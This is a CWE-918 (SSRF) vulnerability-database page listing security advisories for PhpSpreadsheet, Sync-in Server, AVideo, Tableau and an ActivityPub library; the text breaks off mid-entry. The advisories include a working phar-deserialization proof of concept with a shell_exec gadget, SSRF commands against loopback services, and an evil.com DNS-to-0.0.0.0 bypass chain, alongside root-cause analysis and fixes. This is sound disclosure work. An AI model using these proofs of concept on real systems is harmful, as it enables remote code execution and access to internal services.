Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6549 vulnerabilities reference this CWE, most recent first.

GHSA-Q4Q6-R8WH-5CGH

Vulnerability from github – Published: 2026-04-29 20:22 – Updated: 2026-05-08 15:29
VLAI
Summary
PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled
Details

The usage of is_file, used to verify if the $filename is indeed an actual file, by all(?) Reader implementations (inside the helper function File::assertFile) is php-wrapper aware, for any php wrappers implementing stat(). The 3 wrappers ftp://, phar:// and ssh2.sftp://, all satisfy this requirement - 2 of which are shown in the PoC below.

This results in a SSRF, at "best", and RCE at worse.

This was tested against the latest release - but the issue seems to go back a while from a first quick check (still present in v1.30.2).

PoC

To reproduce the vulnerable behavior, the following scripts were used:

php.ini file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:

phar.readonly=0

make_phar.php to create the malicious file:

<?php
// php -c php.ini make_phar.php
class GadgetClass {
    public $data;
    function __construct($d) {
        $this->data = $d;
    }
    function __destruct() {
        shell_exec($this->data);
    }
}

$pop = new GadgetClass('touch /tmp/poc.txt');

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('whatever', 'dummy content');
$phar->setMetadata($pop);
$phar->stopBuffering();

rename('exploit.phar', 'exploit.xlsx'); // optional
echo "exploit.xlsx created \n";

test.php showcases the unsafe pattern:

<?php
require 'vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\IOFactory;

class GadgetClass {
    public $data;
    function __construct($d) {
        $this->data = $d;
    }
    function __destruct() {
        shell_exec($this->data);
    }
}

$filename = $argv[1] ?? null;

if (!$filename) {
    echo "Usage: php test.php <path>\n";
    echo "  e.g. php test.php phar://exploit.xlsx/whatever\n";
    exit(1);
}

echo "Calling IOFactory::load('" . $filename . "')\n";

try {
    $spreadsheet = IOFactory::load($filename);
    var_dump($spreadsheet);
} catch (Throwable $e) {
    echo "Vuln has still triggered even if exception triggers.\n";
}

RCE

Run the PoC (for RCE):

php -c php.ini make_phar.php && php test.php phar://exploit.xlsx/test; ls -lah /tmp/poc.txt

The file /tmp/poc.txt should now be present on disk.

Note: the vuln still triggers if the file pointed to inside the phar does not exist/is not supported (html, xlsx, etc...). This means an attacker could "silently" trigger the vuln without leaving any error logs if the file inside the phar exists and is supported instead.

SSRF

Run the PoC (for SSRF):

ncat -lvp 21 #run on another terminal
php test.php ftp://127.0.0.1:21/test

Observe a connection is made to 127.0.0.1 on port 21.

Root Cause Analysis

Following the API exposed by the library, using IOFactory::load, the code proceeds as follows:

IOFactory::load($filename) -> IReader::load($filename, $flags) -> IReader::loadSpreadsheetFromFile($filename) ->  File::assertFile($filename, ...) -> is_file($filename);

The one obvious gadget that was found is guarded via __unserialize (or __wakeup in older versions) in the XMLWriter class, making it not possible to use the phar deserialization as a standalone attack vector using just this library - it is still viable to create "POP" gadget chains via other classes which may be available in real-world deployment scenarios.

    public function __destruct()
    {
        // Unlink temporary files
        // There is nothing reasonable to do if unlink fails.
        if ($this->tempFileName != '') {
            @unlink($this->tempFileName);
        }
    }

    /** @param mixed[] $data */
    public function __unserialize(array $data): void
    {
        $this->tempFileName = '';

        throw new SpreadsheetException('Unserialize not permitted');
    }

Phpspreadsheet is used as a backbone for many library wrappers, including very widespread ones from packagist like maatwebsite/excel for Laravel, sonata-project/exporter and so on, hence the deserialization vector stays relevant in other contexts.

Suggested mitigations

Use is_file only after making sure the filename does not contain any php wrapper:

$scheme = parse_url($filename, PHP_URL_SCHEME);
// strlen check > 1 to avoid issues with Windows absolute paths (e.g. C:\...), Windows quirks :)
// since no built-in or commonly registered PHP stream wrapper uses a single-character scheme, this should be ok, to my knowledge
if ($scheme !== null && strlen($scheme) > 1) {
    throw new \PhpOffice\PhpSpreadsheet\Exception(
        "Stream wrappers are not permitted as file paths: {$filename}"
    );
}

or perhaps even just passing it to realpath before calling is_file to ensure it is parsed correctly:

$real = realpath($filename); // not php wrapper aware AFAIK
if ($real === false) {
    throw new \PhpOffice\PhpSpreadsheet\Exception("Invalid file path: {$filename}");
}

// from here on, $real should be a clean absolute path so we can pass it to is_file()
if (!is_file($real)) {
    throw new ...
}

Note: stream_is_local() would also not be safe here — as it considers phar:// to be local and would not block it.

Severity
9.2 (Critical)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.5.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.3"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "fixed": "3.10.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.4.3"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.14"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.30.2"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.30.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34084"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-29T20:22:30Z",
    "nvd_published_at": "2026-05-05T20:16:37Z",
    "severity": "CRITICAL"
  },
  "details": "The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any [php wrappers](https://www.php.net/manual/en/wrappers.php) implementing `stat()`.\nThe 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.\n\nThis results in a SSRF, at \"best\", and RCE at worse.\n\nThis was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).\n\n## PoC\nTo reproduce the vulnerable behavior, the following scripts were used:\n\n`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:\n```ini\nphar.readonly=0\n```\n\n`make_phar.php` to create the malicious file:\n```php\n\u003c?php\n// php -c php.ini make_phar.php\nclass GadgetClass {\n    public $data;\n    function __construct($d) {\n        $this-\u003edata = $d;\n    }\n    function __destruct() {\n        shell_exec($this-\u003edata);\n    }\n}\n\n$pop = new GadgetClass(\u0027touch /tmp/poc.txt\u0027);\n\n$phar = new Phar(\u0027exploit.phar\u0027);\n$phar-\u003estartBuffering();\n$phar-\u003esetStub(\u0027\u003c?php __HALT_COMPILER(); ?\u003e\u0027);\n$phar-\u003eaddFromString(\u0027whatever\u0027, \u0027dummy content\u0027);\n$phar-\u003esetMetadata($pop);\n$phar-\u003estopBuffering();\n\nrename(\u0027exploit.phar\u0027, \u0027exploit.xlsx\u0027); // optional\necho \"exploit.xlsx created \\n\";\n\n```\n\n`test.php` showcases the unsafe pattern:\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\n\nclass GadgetClass {\n    public $data;\n    function __construct($d) {\n        $this-\u003edata = $d;\n    }\n    function __destruct() {\n        shell_exec($this-\u003edata);\n    }\n}\n\n$filename = $argv[1] ?? null;\n\nif (!$filename) {\n    echo \"Usage: php test.php \u003cpath\u003e\\n\";\n    echo \"  e.g. php test.php phar://exploit.xlsx/whatever\\n\";\n    exit(1);\n}\n\necho \"Calling IOFactory::load(\u0027\" . $filename . \"\u0027)\\n\";\n\ntry {\n    $spreadsheet = IOFactory::load($filename);\n    var_dump($spreadsheet);\n} catch (Throwable $e) {\n    echo \"Vuln has still triggered even if exception triggers.\\n\";\n}\n\n\n```\n### RCE \nRun the PoC (for RCE):\n```bash\nphp -c php.ini make_phar.php \u0026\u0026 php test.php phar://exploit.xlsx/test; ls -lah /tmp/poc.txt\n```\nThe file `/tmp/poc.txt` should now be present on disk.\n\u003e Note: the vuln still triggers if the file pointed to inside the phar does not exist/is not supported (html, xlsx, etc...). This means an attacker could \"silently\" trigger the vuln without leaving any error logs if the file inside the phar exists and is supported instead. \n\n### SSRF\nRun the PoC (for SSRF):\n```bash\nncat -lvp 21 #run on another terminal\nphp test.php ftp://127.0.0.1:21/test\n```\n\nObserve a connection is made to `127.0.0.1` on port `21`.\n\n\n\n## Root Cause Analysis \n\nFollowing the API exposed by the library, using `IOFactory::load`, the code proceeds as follows:\n```php\nIOFactory::load($filename) -\u003e IReader::load($filename, $flags) -\u003e IReader::loadSpreadsheetFromFile($filename) -\u003e  File::assertFile($filename, ...) -\u003e is_file($filename);\n```\n\n\nThe one obvious gadget that was found is guarded via `__unserialize` (or `__wakeup` in older versions) in the `XMLWriter` class, making it not possible to use the phar deserialization as a standalone attack vector using just this library - it is still viable to create \"POP\" gadget chains via other classes which may be available in real-world deployment scenarios.\n\n```php\n    public function __destruct()\n    {\n        // Unlink temporary files\n        // There is nothing reasonable to do if unlink fails.\n        if ($this-\u003etempFileName != \u0027\u0027) {\n            @unlink($this-\u003etempFileName);\n        }\n    }\n\n    /** @param mixed[] $data */\n    public function __unserialize(array $data): void\n    {\n        $this-\u003etempFileName = \u0027\u0027;\n\n        throw new SpreadsheetException(\u0027Unserialize not permitted\u0027);\n    }\n```\n\nPhpspreadsheet is used as a backbone for many library wrappers, including very widespread ones from [packagist ](https://packagist.org)like `maatwebsite/excel` for Laravel, `sonata-project/exporter` and so on, hence the deserialization vector stays relevant in other contexts.\n\n## Suggested mitigations\n\nUse `is_file` only after making sure the filename does not contain any php wrapper:\n```php\n$scheme = parse_url($filename, PHP_URL_SCHEME);\n// strlen check \u003e 1 to avoid issues with Windows absolute paths (e.g. C:\\...), Windows quirks :)\n// since no built-in or commonly registered PHP stream wrapper uses a single-character scheme, this should be ok, to my knowledge\nif ($scheme !== null \u0026\u0026 strlen($scheme) \u003e 1) {\n    throw new \\PhpOffice\\PhpSpreadsheet\\Exception(\n        \"Stream wrappers are not permitted as file paths: {$filename}\"\n    );\n}\n```\n\nor perhaps even just passing it to `realpath` before calling `is_file` to ensure it is parsed correctly:\n```php\n$real = realpath($filename); // not php wrapper aware AFAIK\nif ($real === false) {\n    throw new \\PhpOffice\\PhpSpreadsheet\\Exception(\"Invalid file path: {$filename}\");\n}\n\n// from here on, $real should be a clean absolute path so we can pass it to is_file()\nif (!is_file($real)) {\n    throw new ...\n}\n```\n\n\u003e Note: `stream_is_local()` would also not be safe here \u2014 as it considers `phar://` to be local and would not block it.",
  "id": "GHSA-q4q6-r8wh-5cgh",
  "modified": "2026-05-08T15:29:26Z",
  "published": "2026-04-29T20:22:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-q4q6-r8wh-5cgh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34084"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    },
    {
      "type": "WEB",
      "url": "https://www.php.net/manual/en/wrappers.php"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled"
}

GHSA-Q4X5-8CJ6-52WG

Vulnerability from github – Published: 2026-06-05 16:34 – Updated: 2026-07-08 17:36
VLAI
Summary
Sync-in Server: SSRF protection bypass via IPv4-mapped IPv6 addresses in regExpPrivateIP
Details

Summary: The private IP blocklist regex used in the URL download feature does not match IPv4-mapped IPv6 addresses (e.g. ::ffff:127.0.0.1), allowing SSRF protection to be bypassed on dual-stack systems.

Affected components

backend/src/applications/files/services/files-manager.service.ts – downloadFromUrl() checks regExpPrivateIP against request.socket.remoteAddress. backend/src/applications/files/utils/url-file.ts – regExpPrivateIP does not include ::ffff: variants.

Details: The regExpPrivateIP regex in backend/src/applications/files/utils/url-file.ts correctly blocks standard IPv4 private ranges but does not include ::ffff: prefixed variants. On dual-stack systems, Node.js can report a socket's remoteAddress in IPv4-mapped IPv6 form, meaning the check in FilesManager.downloadFromUrl() can be bypassed entirely.

PoC: poc.pdf

Proof: 1000226655

Impact: An attacker can supply a crafted URL pointing to an internal address that gets reported as ::ffff:127.0.0.1 or ::ffff:10.x.x.x, causing the server to fetch internal resources that should be blocked. Any user with access to the file download feature is a potential attacker.

Severity
7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.2.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@sync-in/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47684"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-05T16:34:59Z",
    "nvd_published_at": "2026-06-16T15:16:41Z",
    "severity": "HIGH"
  },
  "details": "Summary:\nThe private IP blocklist regex used in the URL download feature does not match IPv4-mapped IPv6 addresses (e.g. ::ffff:127.0.0.1), allowing SSRF protection to be bypassed on dual-stack systems.\n\nAffected components\n\nbackend/src/applications/files/services/files-manager.service.ts \u2013 downloadFromUrl() checks regExpPrivateIP against request.socket.remoteAddress.\nbackend/src/applications/files/utils/url-file.ts \u2013 regExpPrivateIP does not include ::ffff:\u003cipv4\u003e variants.\n\nDetails:\nThe regExpPrivateIP regex in backend/src/applications/files/utils/url-file.ts correctly blocks standard IPv4 private ranges but does not include ::ffff: prefixed variants. On dual-stack systems, Node.js can report a socket\u0027s remoteAddress in IPv4-mapped IPv6 form, meaning the check in FilesManager.downloadFromUrl() can be bypassed entirely.\n\nPoC:\n[poc.pdf](https://github.com/user-attachments/files/26990874/poc.pdf)\n\n\n\n\nProof:\n\u003cimg width=\"1080\" height=\"842\" alt=\"1000226655\" src=\"https://github.com/user-attachments/assets/797cea83-0a08-4a16-a91b-31c51068d473\" /\u003e\n\n\n\n\n\nImpact:\nAn attacker can supply a crafted URL pointing to an internal address that gets reported as ::ffff:127.0.0.1 or ::ffff:10.x.x.x, causing the server to fetch internal resources that should be blocked. Any user with access to the file download feature is a potential attacker.",
  "id": "GHSA-q4x5-8cj6-52wg",
  "modified": "2026-07-08T17:36:17Z",
  "published": "2026-06-05T16:34:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Sync-in/server/security/advisories/GHSA-q4x5-8cj6-52wg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47684"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Sync-in/server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Sync-in/server/releases/tag/v2.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Sync-in Server: SSRF protection bypass via IPv4-mapped IPv6 addresses in regExpPrivateIP"
}

GHSA-Q4X6-6MM2-CRG9

Vulnerability from github – Published: 2026-04-08 00:08 – Updated: 2026-04-08 00:08
VLAI
Summary
WWBN AVideo has a Live restream log callback flow enabling stored SSRF to internal services
Details

Summary

The Live restream log callback flow accepted an attacker-controlled restreamerURL and later fetched that stored URL server-side, enabling stored SSRF for authenticated streamers.

The vulnerable flow allowed a low-privilege user with streaming permission to store an arbitrary callback URL and trigger server-side requests to loopback or internal HTTP services through the restream log feature.

Details

The vulnerable chain was:

  1. plugin/Live/view/getRestream.json.php exposed a fresh tokenForAction
  2. plugin/Live/view/Live_restreams/verifyTokenForAction.json.php exchanged it for a valid responseToken
  3. plugin/Live/view/Live_restreams_logs/add.json.php accepted attacker-controlled restreamerURL
  4. plugin/Live/view/getRestream.json.php and plugin/Live/view/Live_restreams/getAction.json.php later fetched that stored URL server-side

The original issue existed because the responseToken was accepted, but the callback destination was not tightly constrained to trusted restreamer endpoints.

The maintainer confirmed the vulnerability and stated that the fix was applied by validating restreamerURL at storage time and re-validating the log-entry branch before use. The maintainer also noted that the m3u8 field follows the same general pattern but is not server-fetched in the current flow.

Proof of concept

  1. Log in as a non-admin user with streaming permission.
  2. Create a normal restream destination.
  3. Trigger plugin/Live/view/Live_restreams/testRestreamer.json.php to create a live transmission history row.
  4. Call:
GET /plugin/Live/view/getRestream.json.php?live_transmitions_history_id=<id>&restreams_id=<id>
  1. Extract tokenForAction from the returned URL.
  2. Exchange it for responseToken via:
POST /plugin/Live/view/Live_restreams/verifyTokenForAction.json.php
  1. Store a loopback callback URL:
POST /plugin/Live/view/Live_restreams_logs/add.json.php
restreamerURL=http://127.0.0.1:9999/index.php
  1. Trigger getRestream.json.php again.
  2. Observe that the returned response now contains the JSON body from the loopback-only service.

Impact

An authenticated streamer can cause the AVideo server to send HTTP requests to loopback or internal services and return the response through normal application endpoints by storing a malicious restreamerURL in the restream log flow. Because the callback destination was not constrained to trusted restreamer endpoints, the application could be used as a proxy to internal-only services that trust network locality. Successful exploitation can expose local admin panels, internal-only APIs, cloud metadata services if reachable, or other sensitive internal responses available from the application host.

Recommended fix

  • Validate restreamerURL against explicitly configured restreamer endpoints at storage time
  • Re-validate the stored callback URL before server-side fetch
  • Bind responseToken to the expected restream row and callback host
  • Apply SSRF validation to the initial destination of every server-side fetch, not only redirect targets
  • Ignore or reject user-supplied callback hosts that do not match trusted configuration
Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "WWBN/AVideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39368"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T00:08:42Z",
    "nvd_published_at": "2026-04-07T20:16:30Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe Live restream log callback flow accepted an attacker-controlled `restreamerURL` and later fetched that stored URL server-side, enabling stored SSRF for authenticated streamers.\n\nThe vulnerable flow allowed a low-privilege user with streaming permission to store an arbitrary callback URL and trigger server-side requests to loopback or internal HTTP services through the restream log feature.\n\n## Details\n\nThe vulnerable chain was:\n\n1. `plugin/Live/view/getRestream.json.php` exposed a fresh `tokenForAction`\n2. `plugin/Live/view/Live_restreams/verifyTokenForAction.json.php` exchanged it for a valid `responseToken`\n3. `plugin/Live/view/Live_restreams_logs/add.json.php` accepted attacker-controlled `restreamerURL`\n4. `plugin/Live/view/getRestream.json.php` and `plugin/Live/view/Live_restreams/getAction.json.php` later fetched that stored URL server-side\n\nThe original issue existed because the `responseToken` was accepted, but the callback destination was not tightly constrained to trusted restreamer endpoints.\n\nThe maintainer confirmed the vulnerability and stated that the fix was applied by validating `restreamerURL` at storage time and re-validating the log-entry branch before use. The maintainer also noted that the `m3u8` field follows the same general pattern but is not server-fetched in the current flow.\n\n## Proof of concept\n\n1. Log in as a non-admin user with streaming permission.\n2. Create a normal restream destination.\n3. Trigger `plugin/Live/view/Live_restreams/testRestreamer.json.php` to create a live transmission history row.\n4. Call:\n\n```text\nGET /plugin/Live/view/getRestream.json.php?live_transmitions_history_id=\u003cid\u003e\u0026restreams_id=\u003cid\u003e\n```\n\n5. Extract `tokenForAction` from the returned URL.\n6. Exchange it for `responseToken` via:\n\n```text\nPOST /plugin/Live/view/Live_restreams/verifyTokenForAction.json.php\n```\n\n7. Store a loopback callback URL:\n\n```text\nPOST /plugin/Live/view/Live_restreams_logs/add.json.php\nrestreamerURL=http://127.0.0.1:9999/index.php\n```\n\n8. Trigger `getRestream.json.php` again.\n9. Observe that the returned response now contains the JSON body from the loopback-only service.\n\n## Impact\n\nAn authenticated streamer can cause the AVideo server to send HTTP requests to loopback or internal services and return the response through normal application endpoints by storing a malicious `restreamerURL` in the restream log flow. Because the callback destination was not constrained to trusted restreamer endpoints, the application could be used as a proxy to internal-only services that trust network locality. Successful exploitation can expose local admin panels, internal-only APIs, cloud metadata services if reachable, or other sensitive internal responses available from the application host.\n\n\n## Recommended fix\n\n- Validate `restreamerURL` against explicitly configured restreamer endpoints at storage time\n- Re-validate the stored callback URL before server-side fetch\n- Bind `responseToken` to the expected restream row and callback host\n- Apply SSRF validation to the initial destination of every server-side fetch, not only redirect targets\n- Ignore or reject user-supplied callback hosts that do not match trusted configuration",
  "id": "GHSA-q4x6-6mm2-crg9",
  "modified": "2026-04-08T00:08:42Z",
  "published": "2026-04-08T00:08:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-q4x6-6mm2-crg9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39368"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WWBN AVideo has a Live restream log callback flow enabling stored SSRF to internal services"
}

GHSA-Q52C-QM5X-CGWJ

Vulnerability from github – Published: 2025-07-25 21:33 – Updated: 2025-07-25 21:33
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Salesforce Tableau Server on Windows, Linux (Amazon S3 Connector modules) allows Resource Location Spoofing. This issue affects Tableau Server: before 2025.1.3, before 2024.2.12, before 2023.3.19.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-52454"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-25T19:15:41Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Salesforce Tableau Server on Windows, Linux (Amazon S3 Connector modules) allows Resource Location Spoofing. This issue affects Tableau Server: before 2025.1.3, before 2024.2.12, before 2023.3.19.",
  "id": "GHSA-q52c-qm5x-cgwj",
  "modified": "2025-07-25T21:33:50Z",
  "published": "2025-07-25T21:33:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52454"
    },
    {
      "type": "WEB",
      "url": "https://help.salesforce.com/s/articleView?id=005105043\u0026type=1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q537-8FR5-CW35

Vulnerability from github – Published: 2026-03-25 20:23 – Updated: 2026-03-27 21:36
VLAI
Summary
Activitypub-Federation has SSRF via 0.0.0.0 bypass in activitypub-federation-rust v4_is_invalid()
Details

Summary

The v4_is_invalid() function in activitypub-federation-rust (src/utils.rs) does not check for Ipv4Addr::UNSPECIFIED (0.0.0.0). An unauthenticated attacker controlling a remote domain can point it to 0.0.0.0, bypass the SSRF protection introduced by the fix for CVE-2025-25194 (GHSA-7723-35v7-qcxw), and reach localhost services on the target server.

Details

File: src/utils.rs in activitypub-federation-rust Function: v4_is_invalid(v4: Ipv4Addr) -> bool

The function checks is_private(), is_loopback(), is_link_local(), is_multicast(), and is_documentation() — but omits is_unspecified(). On Linux, macOS, and Windows, TCP connections to 0.0.0.0 are routed to localhost (127.0.0.1).

Additionally, ::ffff:0.0.0.0 (IPv4-mapped IPv6) also bypasses because v6_is_invalid() calls to_ipv4_mapped().is_some_and(v4_is_invalid), inheriting the same gap. Notably, v6_is_invalid() already includes is_unspecified() for native IPv6, making this an asymmetric oversight.

Independent secondary finding — DNS Rebinding TOCTOU: is_invalid_ip() resolves DNS via lookup_host() for validation, but reqwest resolves DNS again for the actual connection. With TTL=0 DNS responses, an attacker can return a legitimate IP for the first resolution (passes check) and 127.0.0.1 for the second (reqwest connects to localhost). CVSS for rebinding alone: 4.8 (AC:H).

PoC

1. Logic Proof (reproduced from source):

fn v4_is_invalid(v4: Ipv4Addr) -> bool {
    v4.is_private()
        || v4.is_loopback()
        || v4.is_link_local()
        || v4.is_multicast()
        || v4.is_documentation()
    // BUG: Missing || v4.is_unspecified()
}

assert_eq!(v4_is_invalid(Ipv4Addr::UNSPECIFIED), false);  // 0.0.0.0 PASSES validation
assert_eq!(v4_is_invalid(Ipv4Addr::LOCALHOST), true);     // 127.0.0.1 correctly blocked

2. OS Routing Verification:

$ connect(0.0.0.0:80) → ConnectionRefused

ConnectionRefused proves the OS routed to localhost (port 80 not listening). Any service on 0.0.0.0:PORT is reachable.

3. Attack Chain:

  1. Attacker configures DNS: evil.com A → 0.0.0.0
    1. Attacker sends ActivityPub activity referencing https://evil.com/actor
    1. Library calls verify_url_valid() → is_invalid_ip() → resolves to 0.0.0.0
    1. v4_is_invalid(0.0.0.0) returns false (BYPASS)
    1. reqwest connects to 0.0.0.0 → reaches localhost services

Impact

  • Direct: Bypasses the SSRF protection layer for all ActivityPub federation traffic
    • Downstream: 6+ dependent projects affected including Lemmy (13.7k stars), hatsu, gill, ties, fediscus, fediverse-axum
    • Attacker can: Access cloud instance metadata (169.254.169.254 via rebinding), reach internal services on localhost, port scan internal infrastructure

Suggested Fix

fn v4_is_invalid(v4: Ipv4Addr) -> bool {
    v4.is_private()
        || v4.is_loopback()
        || v4.is_link_local()
        || v4.is_multicast()
        || v4.is_documentation()
        || v4.is_unspecified()    // ADD: blocks 0.0.0.0
        || v4.is_broadcast()      // ADD: blocks 255.255.255.255
}

For DNS rebinding TOCTOU, pin the resolved IP:

let resolved_ip = lookup_host((domain, 80)).await?;
// validate resolved_ip...
let client = reqwest::Client::builder()
    .resolve(domain, resolved_ip)  // pin resolution
    .build()?;
Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "activitypub_federation"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.7.0-beta.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33693"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T20:23:38Z",
    "nvd_published_at": "2026-03-27T01:16:18Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe `v4_is_invalid()` function in `activitypub-federation-rust` (`src/utils.rs`) does not check for `Ipv4Addr::UNSPECIFIED` (0.0.0.0). An unauthenticated attacker controlling a remote domain can point it to 0.0.0.0, bypass the SSRF protection introduced by the fix for CVE-2025-25194 (GHSA-7723-35v7-qcxw), and reach localhost services on the target server.\n\n### Details\n\n**File:** `src/utils.rs` in `activitypub-federation-rust`\n**Function:** `v4_is_invalid(v4: Ipv4Addr) -\u003e bool`\n\nThe function checks `is_private()`, `is_loopback()`, `is_link_local()`, `is_multicast()`, and `is_documentation()` \u2014 but omits `is_unspecified()`. On Linux, macOS, and Windows, TCP connections to 0.0.0.0 are routed to localhost (127.0.0.1).\n\nAdditionally, `::ffff:0.0.0.0` (IPv4-mapped IPv6) also bypasses because `v6_is_invalid()` calls `to_ipv4_mapped().is_some_and(v4_is_invalid)`, inheriting the same gap. Notably, `v6_is_invalid()` already includes `is_unspecified()` for native IPv6, making this an asymmetric oversight.\n\n**Independent secondary finding \u2014 DNS Rebinding TOCTOU:**\n`is_invalid_ip()` resolves DNS via `lookup_host()` for validation, but `reqwest` resolves DNS again for the actual connection. With TTL=0 DNS responses, an attacker can return a legitimate IP for the first resolution (passes check) and 127.0.0.1 for the second (reqwest connects 